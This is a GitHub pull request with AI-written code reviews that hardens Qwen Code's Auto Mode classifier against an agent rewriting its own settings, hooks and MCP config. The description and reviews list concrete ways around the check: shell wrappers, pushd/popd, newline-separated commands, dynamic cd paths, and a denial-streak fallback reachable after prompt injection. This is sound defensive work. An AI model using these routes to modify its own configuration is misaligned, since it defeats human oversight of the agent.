Skip to content

Harden auto mode self-modification checks#4572

Merged
tanzhenxin merged 43 commits into
QwenLM:mainfrom
qqqys:feat/auto-mode-harden
Jun 8, 2026
Merged

Harden auto mode self-modification checks#4572
tanzhenxin merged 43 commits into
QwenLM:mainfrom
qqqys:feat/auto-mode-harden

Conversation

@qqqys

@qqqys qqqys commented May 27, 2026

Copy link
Copy Markdown
Collaborator

What this PR does

This PR hardens Auto Mode so writes to Qwen Code configuration, instructions, hooks, commands, skills, MCP configuration, and other persistence surfaces cannot bypass the classifier through workspace edit fast-paths or broad permission allow rules. It also splits classifier policy into allow, soft block, hard block, and environment sections, keeps legacy deny hints as soft-block hints, and adds denial guidance that tells the agent not to route around blocked actions through equivalent tools or indirection.

auto

Why it's needed

Auto Mode previously had gaps where a protected settings or instruction write could look like an ordinary in-workspace edit, or where a broad allow rule could prevent the classifier from reviewing a self-modification action. That makes it possible for an agent to keep working after a denial by changing its own configuration or by hiding a protected write behind shell wrappers. The new flow keeps ordinary safe work fast, but forces protected self-modification and persistence writes back through the fail-closed Auto Mode classifier.

Reviewer Test Plan

How to verify

Run the focused permission and prompt tests and confirm protected writes such as cd .qwen && bash -lc 'echo {} > settings.json', bash -lc 'echo ok' && echo hi > .qwen/settings.json, and cd "$QWEN_HOME" && echo "{}" > settings.json are routed to classifier review instead of being auto-approved by broad allow rules. Confirm explicit permissions.ask rules still route to manual approval and ordinary in-workspace generated files still take the fast path.

Evidence (Before & After)

N/A for UI evidence. Local verification passed with cd packages/core && npx vitest run src/core/prompts.test.ts src/permissions/autoMode.test.ts src/permissions/shell-semantics.test.ts src/permissions/permission-manager.test.ts src/permissions/classifier-prompts/system-prompt.test.ts, cd packages/core && npx vitest run src/permissions/shell-semantics.test.ts src/permissions/autoMode.test.ts src/permissions/permission-manager.test.ts, npm run typecheck, npm run build, and git diff --check. Build completed with existing VS Code companion curly warnings and no errors.

Tested on

OS Status
🍏 macOS ✅ tested
🪟 Windows ⚠️ not tested
🐧 Linux ⚠️ not tested

Environment (optional)

Local macOS development checkout using the repository npm scripts.

Risk & Scope

  • Main risk or tradeoff: Auto Mode may route more protected configuration and persistence writes through the classifier or manual approval instead of auto-approving them.
  • Not validated / out of scope: Full interactive tmux/TUI recording across all platforms was not rerun for this final PR creation pass.
  • Breaking changes / migration notes: permissions.autoMode.hints.deny remains supported as a deprecated alias for softDeny; new configurations should use softDeny or hardDeny.

Linked Issues

Resolves: #4538

中文说明

What this PR does

这个 PR 加固 Auto Mode:写入 Qwen Code 配置、指令、hooks、commands、skills、MCP 配置以及其他持久化表面时,不能再通过 workspace edit fast-path 或宽泛 permission allow 规则绕过 classifier。同时 classifier policy 被拆成 allow、soft block、hard block、environment 四类,保留 legacy deny hints 作为 soft-block hints,并在 denial 结果里补充指引,要求 agent 不要通过等价工具或间接方式绕过已拒绝动作。

Why it's needed

Auto Mode 之前存在一些缺口:受保护的 settings 或 instruction 写入可能被当作普通 workspace edit,宽泛 allow rule 也可能让 self-modification action 不经过 classifier。这样 agent 在被拒绝后仍可能通过改自身配置、或者把受保护写入藏进 shell wrapper 来继续完成同一个动作。新的流程保留普通安全工作的 fast path,但会把受保护的 self-modification 和 persistence writes 强制送回 fail-closed Auto Mode classifier。

Reviewer Test Plan

How to verify

运行聚焦的 permission 和 prompt 测试,确认 cd .qwen && bash -lc 'echo {} > settings.json'bash -lc 'echo ok' && echo hi > .qwen/settings.jsoncd "$QWEN_HOME" && echo "{}" > settings.json 这类 protected writes 会进入 classifier review,而不是被宽泛 allow 规则自动放行。确认显式 permissions.ask 仍进入手动确认,普通 workspace 内生成文件仍走 fast path。

Evidence (Before & After)

非 UI 改动,N/A。本地验证已通过:cd packages/core && npx vitest run src/core/prompts.test.ts src/permissions/autoMode.test.ts src/permissions/shell-semantics.test.ts src/permissions/permission-manager.test.ts src/permissions/classifier-prompts/system-prompt.test.tscd packages/core && npx vitest run src/permissions/shell-semantics.test.ts src/permissions/autoMode.test.ts src/permissions/permission-manager.test.tsnpm run typechecknpm run buildgit diff --check。build 只有已有的 VS Code companion curly warnings,没有 error。

Tested on

OS Status
🍏 macOS ✅ tested
🪟 Windows ⚠️ not tested
🐧 Linux ⚠️ not tested

Environment (optional)

本地 macOS 开发 checkout,使用仓库 npm scripts。

Risk & Scope

  • Main risk or tradeoff: Auto Mode 对受保护配置和持久化写入会更保守,更多走 classifier 或手动确认,而不是自动放行。
  • Not validated / out of scope: 最后创建 PR 这一轮没有重新跑完整跨平台交互式 tmux/TUI 录制。
  • Breaking changes / migration notes: permissions.autoMode.hints.deny 仍作为 deprecated alias 支持,会并入 softDeny;新配置建议使用 softDenyhardDeny

Linked Issues

Resolves: #4538

@github-actions

Copy link
Copy Markdown
Contributor

📋 Review Summary

This PR hardens Auto Mode by closing security gaps where protected configuration writes (Qwen Code settings, hooks, MCP config, etc.) could bypass the classifier through workspace edit fast-paths or broad allow rules. The implementation introduces a compound-aware shell semantic analyzer that tracks cd commands and recursively unwraps shell wrappers, splits classifier policy into allow/softDeny/hardDeny categories, and ensures protected persistence writes route through classifier review. Overall assessment: well-designed security hardening with thorough test coverage.

🔍 General Feedback

  • Strong security design: The protection of self-modification surfaces (.qwen/, .mcp.json, git hooks, etc.) addresses a real vulnerability where hostile agents could bypass denials by modifying their own configuration.
  • Excellent test coverage: The new extractShellOperationsAcrossCommand tests cover edge cases including nested wrappers, dynamic cd targets, POSIX flag forms, and operation ordering.
  • Good backward compatibility: The hints.denysoftDeny alias preserves existing configurations while enabling clearer policy semantics.
  • Clean code organization: The separation between extractShellOperations (single command) and extractShellOperationsAcrossCommand (compound-aware) is well-documented with clear rationale.
  • Comprehensive documentation: The auto-mode.md updates clearly explain the three-layer filter, new hint categories, and protected path patterns.

🎯 Specific Feedback

🔴 Critical

No critical issues identified. The security design is sound and the implementation correctly handles the identified attack vectors.

🟡 High

  • File: packages/core/src/permissions/shell-semantics.ts:1757-1762 — The MAX_SHELL_UNWRAP_DEPTH = 4 comment claims this is "enough for every legitimate wrapper combination observed in the wild," but this is an unverified assertion. Consider adding a warning log when this depth is hit in production so operators can detect potential obfuscation attempts.

  • File: packages/core/src/permissions/permission-manager.ts:680-695 — The reordering of hasRelevantRules to run the cross-command virtual-op pass before splitCompoundCommand recursion is correct, but the comment "Required so rules like Write(.qwen/settings.json) are recognised" should include a test case in permission-manager.test.ts specifically verifying this ordering dependency (not just in shell-semantics.test.ts).

🟢 Medium

  • File: packages/core/src/permissions/autoMode.ts:125-138 — The PERSISTENCE_PATH_PATTERNS list is comprehensive but could benefit from a utility function to test whether a path matches, with its own unit tests. This would make it easier to verify the patterns are correct and add new patterns without regex mistakes.

  • File: packages/core/src/permissions/shell-semantics.ts:1804 — The CdResolution type uses cwdUnknown: boolean in the static case, but the naming is slightly confusing since static implies certainty. Consider renaming to resolvedCwd and isCwdUncertain for clarity.

  • File: packages/core/src/permissions/classifier-prompts/system-prompt.ts:79-85 — The prompt injection warning about user hints is important but quite long. Consider breaking this into a separate bulleted section or adding a concrete example of what "adversarial prompt injection from a hostile settings file" looks like.

🔵 Low

  • File: packages/core/src/permissions/shell-semantics.ts:1717 — The import of stripShellWrapper from ../utils/shell-utils.js is new; verify this function was already exported and tested. If it was added for this PR, ensure it has its own unit tests.

  • File: docs/users/features/auto-mode.md:97-104 — The example JSON shows softDeny and hardDeny but the allow examples are commented out with "Cleaning build artifacts..." — consider providing a more complete example showing all three hint types in use together.

  • File: packages/core/src/permissions/permission-manager.ts — Several large functions (hasRelevantRules, hasRelevantAskRule) were refactored with moved code blocks. Add a comment at the top of each explaining the evaluation order rationale (virtual-ops first, then compound split, then direct rule match) for future maintainers.

  • File: packages/vscode-ide-companion/schemas/settings.schema.json:702-717 — The schema descriptions for softDeny and hardDeny are quite long for JSON schema hints. Consider whether these should link to the documentation rather than duplicating the explanation.

✅ Highlights

  • Excellent attack surface analysis: The identification of shell wrapper bypasses (bash -lc '...', cd && wrapper) and the recursive unwrapping solution demonstrates deep security thinking.

  • Smart cd tracking: The resolveCdTargetCwd function correctly handles dynamic vs static cd targets and marks subsequent relative paths with cwdUnknown and pathMayDependOnCwd flags — this is a nuanced solution to a hard problem.

  • Fail-closed design: The classifier being unavailable results in blocking (fail-closed behavior) is the correct security posture, clearly documented in both code and docs.

  • Comprehensive persistence path coverage: The PERSISTENCE_PATH_PATTERNS regex list covers git hooks, husky, package.json scripts, npmrc, Makefiles, justfiles, taskfiles, and GitHub workflows — a thorough enumeration of code-execution surfaces.

  • Clean separation of concerns: The three-layer filter (acceptEdits → safe-tool allowlist → classifier) is well-architected, and the new applyAutoModeDecision helper correctly consolidates what was previously duplicated logic between scheduler and Session.

  • Strong test-driven approach: The test file additions cover the key attack scenarios mentioned in the PR description (cd .qwen && bash -lc 'echo {} > settings.json', nested wrappers, sibling segments, dynamic cd targets).

Comment thread packages/core/src/permissions/autoMode.ts Fixed
@qqqys qqqys marked this pull request as ready for review May 27, 2026 11:10
Comment thread packages/core/src/permissions/shell-semantics.ts Fixed
if (finalPermission === 'allow') {
const forceAutoReviewForAllow =
approvalMode === ApprovalMode.AUTO &&
shouldForceAutoModeReviewForAllow(pmCtx);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] forceAutoReviewForAllow guards the early-return at L1637, but does NOT extend to the post-AUTO-mode fallback path at L1759. When the denial-streak fallback triggers (shouldFallback returns true), evaluateAutoMode is called with skipClassifier: true and returns { via: 'fallback' }. The case 'fallback': break drops out of the switch, then execution reaches !needsConfirmation(finalPermission, approvalMode, ...) — since finalPermission is still 'allow', needsConfirmation returns false, and the tool is silently auto-approved.

The same pattern exists in Session.ts:1940autoModeAllowed stays false after fallback, but the !autoModeAllowed && needsConfirmation(...) guard also evaluates to false (because needsConfirmation('allow', AUTO, ...) is false), so manual approval is skipped.

Attack chain: agent under prompt injection triggers 3 blocks (arming fallback) → tries echo evil > .qwen/settings.json with a Bash(*) allow rule → force-review fires correctly but fallback bypasses the classifier → needsConfirmation('allow', ...) auto-approves.

Suggested change
shouldForceAutoModeReviewForAllow(pmCtx);
const forceAutoReviewForAllow =
approvalMode === ApprovalMode.AUTO &&
shouldForceAutoModeReviewForAllow(pmCtx);
// When forceAutoReviewForAllow is set and AUTO mode returns
// 'fallback', the post-AUTO needsConfirmation check must NOT
// auto-approve — override finalPermission to 'ask' so the
// tool routes to manual confirmation.
const effectivePermission =
forceAutoReviewForAllow && finalPermission === 'allow'
? 'ask'
: finalPermission;

Then use effectivePermission in both the early-return guard and the needsConfirmation call. Apply the same fix in Session.ts.

— claude-opus-4-6 via Qwen Code /review

let targetIndex = 1;
while (
targetIndex < words.length &&
words[targetIndex]!.startsWith('-') &&

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The flag-skipping loop does not treat -- as an end-of-options marker. For cd -- -some-dir, -- starts with - and is not equal to '-', so it is skipped. Then -some-dir also starts with - and is also skipped. The function falls through to $HOME, returning a statically-resolved wrong cwd with cwdUnknown: false.

The existing test cd -- .qwen passes only because .qwen does not start with -.

Suggested change
words[targetIndex]!.startsWith('-') &&
words[targetIndex]!.startsWith('-') &&
words[targetIndex] !== '-' &&
words[targetIndex] !== '--'

Then after the loop, if words[targetIndex] === '--', skip it and take the next word unconditionally as the target.

— claude-opus-4-6 via Qwen Code /review

return ops;
}

function markCwdUnknownOps(

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] After a dynamic cd (where cwdUnknown is true), effectiveCwd remains the stale pre-cd cwd. A relative ../ path that resolves ABOVE effectiveCwd (e.g., cd "$QWEN_HOME" && echo '{}' > ../settings.json with effectiveCwd /repo → resolves to /settings.json) yields a normalizedPath that does NOT start with normalizedCwd + '/'. The heuristic then sets pathMayDependOnCwd = false, so the op is NOT marked cwdUnknown — even though the path is relative and depends on the actual (unknown) cwd.

With a broad Bash(*) allow rule, this means the resolved (wrong) path is checked against protection patterns instead of being forced through the classifier.

Fix: when cwdUnknown is true, mark ALL file-path operations as cwdUnknown: true, pathMayDependOnCwd: true unconditionally. The false-positive cost (absolute paths after a dynamic cd also get marked) is acceptable since dynamic-cd commands are unusual and the consequence is only routing to the classifier.

— claude-opus-4-6 via Qwen Code /review

);
}

function getNormalizedQwenHomePrefixes(): string[] {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] getNormalizedQwenHomePrefixes() calls fs.realpathSync.native(qwenHome) on every invocation with no caching. It is called from matchesQwenHomeSurfaceisAutoModeProtectedWritePath → per-candidate from getAutoModeWritePathCandidates (1-3 candidates per file path). QWEN_HOME does not change during a session.

Lazy-cache the result at module scope:

let _qwenHomePrefixesCache: string[] | undefined;
let _qwenHomePrefixesCacheKey: string | undefined;
function getNormalizedQwenHomePrefixes(): string[] {
  const qwenHome = process.env['QWEN_HOME'];
  if (!qwenHome) return [];
  if (_qwenHomePrefixesCacheKey === qwenHome && _qwenHomePrefixesCache) {
    return _qwenHomePrefixesCache;
  }
  // ... existing resolution logic ...
  _qwenHomePrefixesCacheKey = qwenHome;
  _qwenHomePrefixesCache = result;
  return result;
}

— claude-opus-4-6 via Qwen Code /review

}
: undefined;
const cwd = pathCtx?.cwd ?? process.cwd();
const ops = extractShellOperationsAcrossCommand(command, cwd);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] For a simple (non-compound) shell command in AUTO mode, extractShellOperationsAcrossCommand is called 3× with identical (command, cwd) arguments:

(1) here in evaluate() top-level (L215),
(2) inside evaluateSingle() (L337, called from L232 when subCommands.length === 1),
(3) in shouldForceAutoModeReviewForAllow (autoMode.ts:271, called from coreToolScheduler.ts:1635).

The function is non-trivial — it tokenizes, parses shell-quote, strips wrappers, and runs extractShellOperations (1700+ lines). All three invocations parse the same command string.

Consider returning the pre-computed ops from evaluate() alongside the decision so that shouldForceAutoModeReviewForAllow can receive them as an argument. Similarly, pass the top-level ops into evaluateSingle to avoid the redundant re-extraction.

— claude-opus-4-6 via Qwen Code /review


function markCwdUnknownOps(
ops: ShellOperation[],
effectiveCwd: string,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] effectiveCwd is defined but never used. ESLint @typescript-eslint/no-unused-vars error — this will fail CI lint.

The parameter was clearly intended for an absolute-vs-relative path check that was not implemented. markCwdUnknownOps unconditionally sets pathMayDependOnCwd: true for every op with a filePath, including absolute paths like /tmp/out.txt that do not depend on cwd at all.

Suggested change
effectiveCwd: string,
function markCwdUnknownOps(
ops: ShellOperation[],
_effectiveCwd: string,
): ShellOperation[] {
return ops.map((op) => {
if (!op.filePath) return op;
const dependsOnCwd = !isShellAbsolutePath(op.filePath);
return { ...op, cwdUnknown: true, pathMayDependOnCwd: dependsOnCwd };
});
}

This uses the existing isShellAbsolutePath helper (line 162) to correctly differentiate absolute writes (which are fully determined regardless of cwd) from relative writes (which genuinely depend on the unknown cwd). The isShellAbsolutePath check avoids false-positive force-reviews for commands like cd $VAR && echo > /tmp/build.log.

— qwen3.7-max via Qwen Code /review

* classifier or an explicit `permissions.allow` rule.
*/
const PERSISTENCE_PATH_PATTERNS: readonly RegExp[] = Object.freeze([
/(^|\/)\.git\//, // git config, hooks, alias — covers .git/hooks/* and .git/config

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The regex /(^)\/\.git\// requires a trailing slash after .git, which matches files inside .git/ (e.g., .git/config, .git/hooks/pre-commit) but does NOT match .git itself as a regular file. In git worktrees, .git is a plain text file containing a gitdir: pointer. Overwriting this file silently breaks the worktree — all git operations fail with fatal: not a git repository.

Suggested change
/(^|\/)\.git\//, // git config, hooks, alias — covers .git/hooks/* and .git/config
/(^|\/)\.git(?:\/|$)/, // git config, hooks, alias — also covers .git file in worktrees

— qwen3.7-max via Qwen Code /review

shouldForceAutoModeReviewForAllow(pmCtx);

if (finalPermission === 'allow') {
if (finalPermission === 'allow' && !forceAutoReviewForAllow) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] When forceAutoReviewForAllow is true for a sister tool in awaiting_approval, this if condition fails and the else branch does nothing — the sister tool stays blocked indefinitely in awaiting_approval. No code path routes it through the AUTO classifier, even though the classifier would likely approve it (since the allow rule signals user intent).

Consider adding a classifier dispatch branch:

if (finalPermission === 'allow' && !forceAutoReviewForAllow) {
  // existing auto-approve path
} else if (finalPermission === 'allow' && forceAutoReviewForAllow) {
  // Route through AUTO classifier instead of leaving blocked
  const autoDecision = await evaluateAutoMode(pmCtx, this.config);
  // ... handle classifier result
}

— qwen3.7-max via Qwen Code /review

const candidates = new Set<string>([filePath]);

try {
candidates.add(fs.realpathSync.native(filePath));

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] getAutoModeWritePathCandidates calls fs.realpathSync.native on every invocation with no caching. Unlike getNormalizedQwenHomePrefixes (which has a module-level cache), this function performs filesystem I/O on every protected-path check. In a single tool evaluation, the same file path may be checked multiple times (once in shouldForceAutoModeReviewForAllow and once in passesAcceptEditsFastPath).

Add a short-lived Map<string, string[]> cache keyed on filePath:

const writePathCandidateCache = new Map<string, string[]>();

function getAutoModeWritePathCandidates(filePath: string): string[] {
  const cached = writePathCandidateCache.get(filePath);
  if (cached) return cached;
  // ... existing logic ...
  const result = [...candidates];
  writePathCandidateCache.set(filePath, result);
  return result;
}

— qwen3.7-max via Qwen Code /review

const virtualDecision = this.evaluateShellVirtualOps(
extractShellOperations(command, cwd),
extractShellOperationsAcrossCommand(command, cwd),
pathCtx,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] evaluateShellVirtualOps (called here with the cross-command extracted ops) evaluates each op via evaluateSingle but never inspects op.cwdUnknown or op.pathMayDependOnCwd. When cwd is unknown (dynamic cd), the resolved filePath was computed against a potentially wrong effectiveCwd, so deny/ask rules for protected paths may silently miss the real target.

The AUTO-mode force-review path (shouldForceAutoModeReviewForAllow) does check these flags, but the PermissionManager's own rule evaluation does not — creating a gap where deterministic deny/ask rules can miss protected writes after dynamic cd.

Consider escalating to 'ask' when the path is uncertain:

for (const op of ops) {
  if (op.cwdUnknown && op.pathMayDependOnCwd) {
    // Path may be wrong — escalate rather than silently miss
    if (this.hasAnyDenyOrAskRule(op.virtualTool)) {
      worst = 'ask';
      continue;
    }
  }
  // ... existing evaluation ...
}

— qwen3.7-max via Qwen Code /review

function markCwdUnknownOps(ops: ShellOperation[]): ShellOperation[] {
return ops.map((op) => {
if (!op.filePath) return op;
return { ...op, cwdUnknown: true, pathMayDependOnCwd: true };

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] markCwdUnknownOps unconditionally sets pathMayDependOnCwd: true for every op with a filePath, including ops whose path is absolute. Absolute paths (e.g., /etc/hosts) do not depend on cwd and the flag is semantically wrong for them.

Downstream in shouldForceAutoModeReviewForAllow, the cwdUnknown && pathMayDependOnCwd short-circuit returns true for absolute-path writes after a dynamic cd, forcing unnecessary classifier review even though the resolved path is known and may not be protected.

The per-sub-command bash-rule pass in evaluate() correctly compensates (so no deny→ask security gap), but the force-review false positive adds UX friction.

Suggested change
return { ...op, cwdUnknown: true, pathMayDependOnCwd: true };
function markCwdUnknownOps(ops: ShellOperation[]): ShellOperation[] {
return ops.map((op) => {
if (!op.filePath) return op;
return { ...op, cwdUnknown: true, pathMayDependOnCwd: !isShellAbsolutePath(op.filePath) };
});
}

— claude-opus-4-6 via Qwen Code /review

forceAutoReviewForAllow,
);

if (finalPermission === 'allow' && !forceAutoReviewForAllow) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] When forceAutoReviewForAllow overrides L4 allow, the override is completely silent — no debug log explains why the explicit allow was downgraded to require classifier review. The parallel fallback path (line ~1752) correctly logs with debugLogger.warn(...), but this override path does not.

Debugging "tool has allow rule but still prompts for confirmation" is extremely difficult without a trace connecting the PM verdict to the force-review guard.

Suggested change
if (finalPermission === 'allow' && !forceAutoReviewForAllow) {
if (finalPermission === 'allow' && !forceAutoReviewForAllow) {

Consider adding a debug log before this branch:

if (forceAutoReviewForAllow) {
  debugLogger.info(
    `Auto mode: L4 allow overridden by protected-write guard for ${canonicalName}`,
  );
}

— claude-opus-4-6 via Qwen Code /review

if (words[0] !== 'cd') return { kind: 'not-cd' };

// Skip POSIX `cd` flags (-L, -P, --, -e, -@) without consuming the special
// `cd -` (previous directory) which is non-static and should bail out.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] resolveCdTargetCwd only recognizes cdpushd and popd are treated as { kind: 'not-cd' } and fall through to extractShellOperations which has no handler for them either. This completely bypasses cd-tracking and the protected-path guard.

Bypass: with a Bash(*) allow rule, pushd .qwen && echo '{}' > settings.json works because:

  1. pushd .qwennot-cd → effectiveCwd unchanged
  2. echo '{}' > settings.json → resolves to <original-cwd>/settings.json (not .qwen/settings.json)
  3. Protected-path check: no match → shouldForceAutoModeReviewForAllow returns false
  4. L4 allow auto-approves → classifier never invoked

popd has the same issue (restores a previous cwd from the directory stack).

Suggested change
// `cd -` (previous directory) which is non-static and should bail out.
if (words[0] !== 'cd' && words[0] !== 'pushd') {
return words[0] === 'popd' ? { kind: 'dynamic' } : { kind: 'not-cd' };
}

Note: the parse bail-out on line 1753 (words[0] === 'cd') should also be updated to include pushd.

— qwen3.7-max via Qwen Code /review

op.cwdUnknown &&
op.pathMayDependOnCwd &&
this.hasDenyOrAskRuleForTool(op.virtualTool)
) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] When cwdUnknown && pathMayDependOnCwd && hasDenyOrAskRuleForTool(op.virtualTool) escalates the verdict to 'ask', there is no debug log explaining which virtual operation, file path, or deny/ask rule triggered the escalation. The parallel forceAutoReviewForAllow override path (coreToolScheduler.ts ~L1644) does log its override — this security-relevant branch should match that observability.

Suggested change
) {
debugLogger.info(
`PermissionManager: cwdUnknown escalation to 'ask' for virtualTool=${op.virtualTool} filePath=${op.filePath}`,
);
worst = 'ask';

— qwen3.7-max via Qwen Code /review

}

if (words[0] === 'popd') return { kind: 'dynamic' };
if (words[0] !== 'cd' && words[0] !== 'pushd') return { kind: 'not-cd' };

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] pushd +N/-N/bare/-n produce wrong static cwd instead of dynamic

The basic pushd <dir> path works, but pushd has argument semantics that differ from cd and are not handled:

Input What happens Correct
pushd +2 +2 doesn't start with -, treated as directory → resolvePath('+2', cwd) = bogus path {kind: 'dynamic'}
pushd -2 -2 skipped as flag → falls to $HOME fallback {kind: 'dynamic'} (stack rotation)
bare pushd no args → $HOME fallback {kind: 'dynamic'} (swaps top two stack entries)
pushd -n /tmp -n skipped as flag, /tmp treated as cd target {kind: 'dynamic'} (-n suppresses dir change)

All four cases return { kind: 'static' } with wrong paths, so cwdUnknown is NOT set. This bypasses the three protection mechanisms (evaluateShellVirtualOps L370, forceAutoReviewForAllow L711/L786) that require cwdUnknown && pathMayDependOnCwd, partially reopening the security gap this PR was designed to close.

Suggested change
if (words[0] !== 'cd' && words[0] !== 'pushd') return { kind: 'not-cd' };
if (words[0] === 'popd') return { kind: 'dynamic' };
if (words[0] !== 'cd' && words[0] !== 'pushd') return { kind: 'not-cd' };
// pushd-specific guards: bare pushd swaps stack, +N/-N rotates stack,
// -n suppresses directory change — all are unknowable statically.
if (words[0] === 'pushd') {
if (words.length === 1) return { kind: 'dynamic' };
if (/^[+-]\d+$/.test(words[1]!)) return { kind: 'dynamic' };
}

— qwen3.7-max via Qwen Code /review

// operators/substitutions/expansions — bail on anything we can't
// statically resolve.
if (typeof part !== 'string') {
return words[0] === 'cd' || words[0] === 'pushd'

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] popd missing from non-string parse early-return

When parse() encounters a non-string part (expansion/substitution) after popd, this early return checks words[0] === 'cd' || words[0] === 'pushd' but not 'popd'. For popd $DIR && write, this returns { kind: 'not-cd' } instead of { kind: 'dynamic' }.

The clean-parse path at L1762 correctly handles popd, creating an inconsistency: popd && write correctly escalates, but popd $FOO && write does not.

Suggested change
return words[0] === 'cd' || words[0] === 'pushd'
return words[0] === 'cd' || words[0] === 'pushd' || words[0] === 'popd'
? { kind: 'dynamic' }
: { kind: 'not-cd' };

— qwen3.7-max via Qwen Code /review

debugLogger.info(
`PermissionManager: cwdUnknown escalation to 'ask' for virtualTool=${op.virtualTool} filePath=${op.filePath}`,
);
worst = 'ask';

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] cwdUnknown continue weakens wildcard deny rules to 'ask'

When cwdUnknown && pathMayDependOnCwd && hasDenyOrAskRuleForTool(op.virtualTool) is true, this continue skips evaluateSingle. For wildcard deny rules like WriteFileTool(*) that match regardless of path, the deny should still apply — but the continue prevents it.

Scenario: config has deny: ['WriteFileTool(*)']. Command cd "$TARGET" && echo > settings.json with cwdUnknown=true returns 'ask' instead of 'deny'. In AUTO mode, 'ask' routes to the classifier which could approve, whereas 'deny' would block.

Fix: evaluate the rule match first, then cap at 'ask' only if the match returned 'default' or 'allow'.

— qwen3.7-max via Qwen Code /review

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] tokenize() does not strip shell metacharacters (, ), & from tokens (shell-semantics.ts:92 — not in diff)

Subshell grouping (echo > .qwen/settings.json) produces contaminated path .qwen/settings.json) that fails protected-path regex matching. Background operator echo > .qwen/settings.json& similarly contaminates the path. With a broad Bash(*) allow rule, these bypass shouldForceAutoModeReviewForAllow. Consider stripping leading/trailing ()&{} from tokens in tokenize(), or adding these characters to splitCompoundCommand's operators.

[Suggestion] Missing integration tests for the protected-write + Bash(*) classifier enforcement boundary

The scheduler and Session.ts add forceAutoReviewForAllow logic, but no integration test verifies end-to-end that a write to .qwen/settings.json with a Bash(*) allow rule actually reaches the classifier instead of being auto-approved.

— qwen3.7-max via Qwen Code /review

depth: number,
initialCwdUnknown: boolean,
): ShellOperation[] {
const subCommands = splitCompoundCommand(command);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] splitCompoundCommand does not split on literal newlines (\n), so multi-line shell commands bypass compound-command analysis entirely.

For cd .qwen\ncp /tmp/malicious settings.json, splitCompoundCommand returns a single segment (newlines are not in SHELL_OPERATORS). shell-quote.parse() treats the newline as whitespace, returning ["cd",".qwen","cp","/tmp/malicious","settings.json"]. resolveCdTargetCwd sees words[0]==='cd', resolves the target, and classifies the entire segment as a static cd. The cp write to settings.json is never extracted. With a Bash(*) allow rule, shouldForceAutoModeReviewForAllow finds zero write ops and returns false — the protected write is auto-approved.

The same applies to brace-grouped commands: { cd .qwen && echo > settings.json; } splits as ["{ cd .qwen", "echo > settings.json", "}"]. The { becomes words[0] in the first segment, so resolveCdTargetCwd returns not-cd and the cd is never tracked. The subsequent echo > settings.json resolves at the original cwd, missing the protected-path check.

Suggested change
const subCommands = splitCompoundCommand(command);
// In rule-parser.ts, add '\n' to SHELL_OPERATORS:
const SHELL_OPERATORS = ['&&', '||', ';;', '|&', '|', ';', '\n'];

Also strip shell reserved keywords (then, do, else, {, !, time) from the front of words in resolveCdTargetCwd before checking for cd/pushd/popd.

— qwen3.7-max via Qwen Code /review

let cwdUnknown = initialCwdUnknown;

for (const sub of subCommands) {
const cdTarget = resolveCdTargetCwd(sub, effectiveCwd, cwdUnknown);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Pipe segments share effectiveCwd tracking, but in bash each pipe component runs in a subshellcd in one pipe segment does not affect the other.

For cd /tmp | echo foo > bar, walkCompoundCommand tracks the cd into the second segment, resolving bar against /tmp instead of the original cwd. This produces unnecessary false positives for classifier review.

The inverse (cd /safe | echo > .qwen/settings.json) still works correctly because the actual write targets the original cwd (which is protected), so there is no security gap — only unnecessary classifier round-trips.

Consider resetting effectiveCwd / cwdUnknown to the pre-pipe state when crossing a | boundary. This requires splitCompoundCommand to return the operator type alongside each segment.

— qwen3.7-max via Qwen Code /review

? normalizeMonitorCommand(ctx.command).safetyCommand
: ctx.command;
const cwd = ctx.cwd ?? process.cwd();

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] shouldForceAutoModeReviewForAllow uses ctx.cwd ?? process.cwd() as the cwd fallback, while PermissionManager.evaluate() uses ctx.cwd ?? this.config.getCwd(). In daemon mode, process.cwd() is the daemon process's working directory, which can differ from config.getCwd() (the project's working directory).

When ctx.cwd is undefined, relative paths in shell commands resolve against different base directories in the two code paths. A protected write to a relative path may pass shouldForceAutoModeReviewForAllow (using daemon cwd) while evaluate() would flag it, or vice versa.

Consider accepting getCwd as a parameter, or ensuring callers always populate ctx.cwd before calling this function.

